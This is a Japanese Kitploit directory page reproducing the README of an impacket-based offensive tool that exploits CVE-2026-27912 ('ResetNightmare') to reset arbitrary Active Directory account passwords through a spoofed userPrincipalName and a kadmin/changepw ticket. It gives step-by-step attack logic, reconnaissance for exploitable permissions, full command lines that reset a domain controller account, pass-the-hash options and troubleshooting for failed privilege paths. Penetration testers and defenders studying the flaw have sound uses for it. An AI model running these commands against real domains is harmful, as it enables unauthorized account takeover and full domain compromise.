Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ResetNightmare-impacket — CVE-2026-27912 (ResetNightmare) — Semperis CommunityのInvoke-ResetNightmare PoCのLinux/impacket移植版 | Kitploit
ツール/GitHubGitHub/mihat2/resetnightmare-impacket
パスワード攻撃脆弱性分析エクスプロイト情報収集ペネトレーションテスト認証レッドチーミング
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — Semperis CommunityのInvoke-ResetNightmare PoCのLinux/impacket移植版

リポジトリを見る
15272ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ResetNightmare — CVE-2026-27912

CVE-2026-27912(「ResetNightmare」) 用の Linux / impacket ツール群です。名前がターゲットの sAMAccountName である NT_ENTERPRISE プリンシパルに対して kadmin/changepw TGT を要求することで、ターゲットの Active Directory アカウントのパスワードをリセットします。この際、偽の userPrincipalName を書き込めるアカウント(UPNUser)を使用します。

Semperis Community の Invoke-ResetNightmare PowerShell ツールの Python 移植版です(クレジットを参照)。

⚠️ 法的免責事項

認可されたセキュリティテストおよび教育目的でのみ使用してください。 このツールは実際の Active Directory 資格情報を変更するため、アカウントがロックアウトされる可能性があります。

  • 所有しているシステム、またはテストに対する明示的な書面による許可を得ているシステム(署名済みのエンゲージメント、または管理下のラボ)に対してのみ実行してください。
  • コンピュータシステムへの不正アクセスは違法であり(例:米国の CFAA、英国の Computer Misuse Act、および同等の法律)、刑事罰および民事罰の対象となる可能性があります。
  • 作者は悪用に対して一切の責任を負いません。本ソフトウェアは「現状のまま」提供されます — LICENSE を参照してください。許可がない場合は、これを実行しないでください。

仕組み

  1. (任意) UPNUser を作成し、自身に GenericAll を付与し、パスワードを設定して有効化します。
  2. ターゲットの sAMAccountName を解決します。
  3. UPNUser.userPrincipalName = <targetSAN>(偽の UPN)を設定します。
  4. NT_ENTERPRISE '<targetSAN>' として kadmin/changepw に対して AS-REQ を送信します — KDC はエンタープライズ UPN をターゲットにマッピングし、そのターゲット用のパスワード変更 TGT を発行します。
  5. 偽の UPN をクリアします。
  6. その TGT を使って kpasswd でパスワードを変更します → ターゲットのパスワードが設定されます。
  7. UPNUser の元の UPN を復元します。

--upn-user の選択

--upn-user は、偽の UPN を書き込むアカウントです(ユーザー、または --computer を指定したコンピュータ)。唯一の要件は、そのアカウントの userPrincipalName に書き込めることです。これを実現する方法は 3 つあり、元の PowerShell 版が依拠しているものと同じです:

#UPN 書き込み権限の取得方法フラグOU が必要か?
ACreate Child 権限を持つ OU にアカウントを作成 → そのアカウントを所有 → ツールが自身に GenericAll を付与 → UPN を書き込む--create-new-pathはい
Bすでに GenericWrite / GenericAll / WriteProperty(userPrincipalName) を持っている既存のアカウント(なし)いいえ
C所有している、または WriteDacl を持っている既存のアカウント(プロパティへの直接書き込み権限なし)--grant-selfいいえ

つまり、必ずしも OU を制御する必要はありません — パス B は任意の単一アカウントに対する委任された権限で機能します。ただし、A/B/C のいずれかが必要です。--find を実行して、どれを持っているかを確認してください。

ドメインコンピュータだけでは不十分です。 ローカル管理者である、またはハッシュを保持しているものの、AD への書き込み権限がないマシンでは、A/B/C のいずれも得られません。また、MachineAccountQuota を介して作成されたコンピュータ(addcomputer.py で CN=Computers に作成)も機能しません:その作成者は所有者ではなく、UPN への書き込み権限を得られないため、直接書き込みと --grant-self の両方が result 50 で失敗します。委任された OU でパス A を使用してください。

インストール

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

使用方法

オペレーターの資格情報は最初の位置引数です: [domain/]username[:password]。 パスワードは省略可能で、その場合は入力が求められます。

偵察 — このアカウントで何を悪用できるか? UPN を書き込めるアカウント、オブジェクトを作成できる OU、および MachineAccountQuota を、推奨コマンドとともに報告します:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

各検出結果は via: の理由とオブジェクトの owner: を出力します。owner を見れば、2つのコンピューター作成経路を一目で区別できます。委任されたコンテナーのコンピューターは owner: <you> と表示され(暗黙の WRITE_DAC を持っているため --grant-self が機能します)、一方 MAQ / CN=Computers のものは owner: BUILTIN\Administrators と表示されます(持っていないため使用できません):

=== Accounts you can write a UPN on  (use as --upn-user) ===
  [+] svc_web                        CN=svc_web,OU=Services,DC=corp,DC=local
        via:   WriteProperty(userPrincipalName)
        owner: Domain Admins

書き込み可能な UPN を持つアカウントを使用してターゲットをリセットする:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

最初にUPNアカウントを作成します(OUに対するCreate Child権限とLDAPSが必要です):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

コンピューターアカウントを作成する(UPN アカウントとして、--create-new-path + --computer):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
  --upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

UPN を書き込めないが DACL を書き換えられる既存アカウント (--grant-self)。 --find が Owner または WriteDacl 経由で到達可能な --upn-user を報告した場合 (その ACL は変更できるが、プロパティへの直接書き込み権限はない)、--grant-self はまず あなたに GenericAll ACE を追加し、その後で攻撃が進行します。既存アカウント専用です — --create-new-path はすでに自身に権限を付与します。

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --grant-self \
  --upn-user svc_legacy --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

--grant-self 自体が result 50 で失敗する場合、あなたはそのアカウントの所有者ではなく、そのアカウントに対する WriteDacl も持っていません — この方法では解決できません。これは addcomputer.py/MAQ で作成したコンピュータでよくある結果です。作成者は通常、所有権も UPN の書き込み権限も得られないため、MAQ で作成したコンピュータは --upn-user として使用できません。--find を実行し、WriteProperty(userPrincipalName)、GenericWrite、GenericAll、Owner、または WriteDacl としてフラグが立てられたアカウントを選択してください。

詳細な AS-REQ / LDAP / kpasswd のログを出力するには -debug を追加してください。

フラグ

フラグ意味
<positional>オペレータの資格情報: [domain/]username[:password]
--target-accountリセットする sAMAccountName(コンピュータアカウントは $ で終わる)
--target-new-passwordターゲットに設定する新しいパスワード
--upn-user偽の UPN を書き込むアカウント(または --create-new-path で作成するアカウント)
--upn-user-password--upn-user のクリアテキストパスワード
--computer--upn-user をマシンアカウントとして扱う
--create-new-path <DN>最初に --upn-user を作成する OU/コンテナ(LDAPS が必要)
--grant-selfUPN を書き込む前に、所有している既存の --upn-user に対してオペレータに GenericAll を付与する(所有権 / WriteDacl が必要)
--find偵察: 悪用可能なアカウント/OU(各検出結果の owner を含む)と推奨コマンドを報告して終了
--list-ousOU/コンテナを一覧表示して終了(有効な --create-new-path を選択するため)
--aes-key <hex>パスワードの代わりに AS-REQ で使用する --upn-user の AES キー
--upn-user-hash <NT>パスワードの代わりに AS-REQ で使用する --upn-user の NT ハッシュ(または LM:NT)
-k, --kerberosKerberos(SASL/GSSAPI)LDAP バインド(KRB5CCNAME を使用)
-H LM:NTPass-the-hash LDAP(NTLM)バインド
--no-passパスワードを要求しない(-k / KRB5CCNAME を使用)
--dc-hostDC のホスト名/FQDN(Kerberos SPN 用)
--dc-ipDC の IP アドレス
--no-ssl平文 LDAP/389(--create-new-path とは互換性なし)
--supported-encryption優先する enctype、情報提供用(デフォルト aes256)
-debug詳細ログ

パスワードを省略した場合は対話的に入力が求められます。

トラブルシューティング

--create-new-path の失敗:

症状原因対処
result 50, insufficientAccessRightsOU は存在するが、その OU に対する Create Child 権限がない。書き込み可能な OU を使用する(--list-ous / --find)、または --create-new-path を外して --upn-user で既存のアカウントを悪用する。
result 32, noSuchObject — best match: DC=corp,DC=localDN の親チェーンが存在しない(不完全/推測された DN)。--list-ous で列挙し、完全なネストされた DN を貼り付ける。OU はネストされているため、名前だけではそのパスにならない。
パスワード設定ステップで result 53, unwillingToPerform非 TLS チャネル経由の unicodePwd 書き込み、またはポリシーに対して弱いパスワード。LDAPS を維持する(--no-ssl を渡さない)。ポリシーに準拠したパスワードを使用する。

「偽の UPN の設定」 時の result 50, insufficientAccessRights: オペレータが --upn-user に対する WriteProperty(userPrincipalName) を持っていません。そのアカウントの DACL を書き換えられる場合(あなたがその所有者であるか WriteDacl を持っている場合)、まず --grant-self を追加して自分自身に GenericAll を付与してください。--grant-self もまた result 50 を返す場合、どちらも持っていません — --find で別のアカウントを選択してください。

addcomputer.py/MAQ で作成したコンピュータは、ここでの解決策にはなりません。MAQ の作成者は通常、所有権も WriteProperty(UPN) も得られないため、UPN の書き込みと --grant-self の両方が result 50 で失敗します。--upn-user に MAQ を頼らないでください。

注意:

  • LDAPS はデフォルトで有効です。 AD は TLS 経由の unicodePwd 書き込みのみを受け付けるため、--create-new-path にはこれが必要です。--no-ssl は読み取り専用/UPN のみのパスでのみ使用してください。
  • --find は、あなたまたはあなたのグループに付与された allow ACE(およびオブジェクトの所有権と MachineAccountQuota)のみを報告します。deny ACE とクロスドメインのメンバーシップは完全には評価されません。空の結果はパスが存在しないことの証明にはなりません — 使用前に検証してください。

成功後

ツールは、ターゲットとして使用可能なチケットを取得するためのフォローアップを出力します:

ツールをダウンロード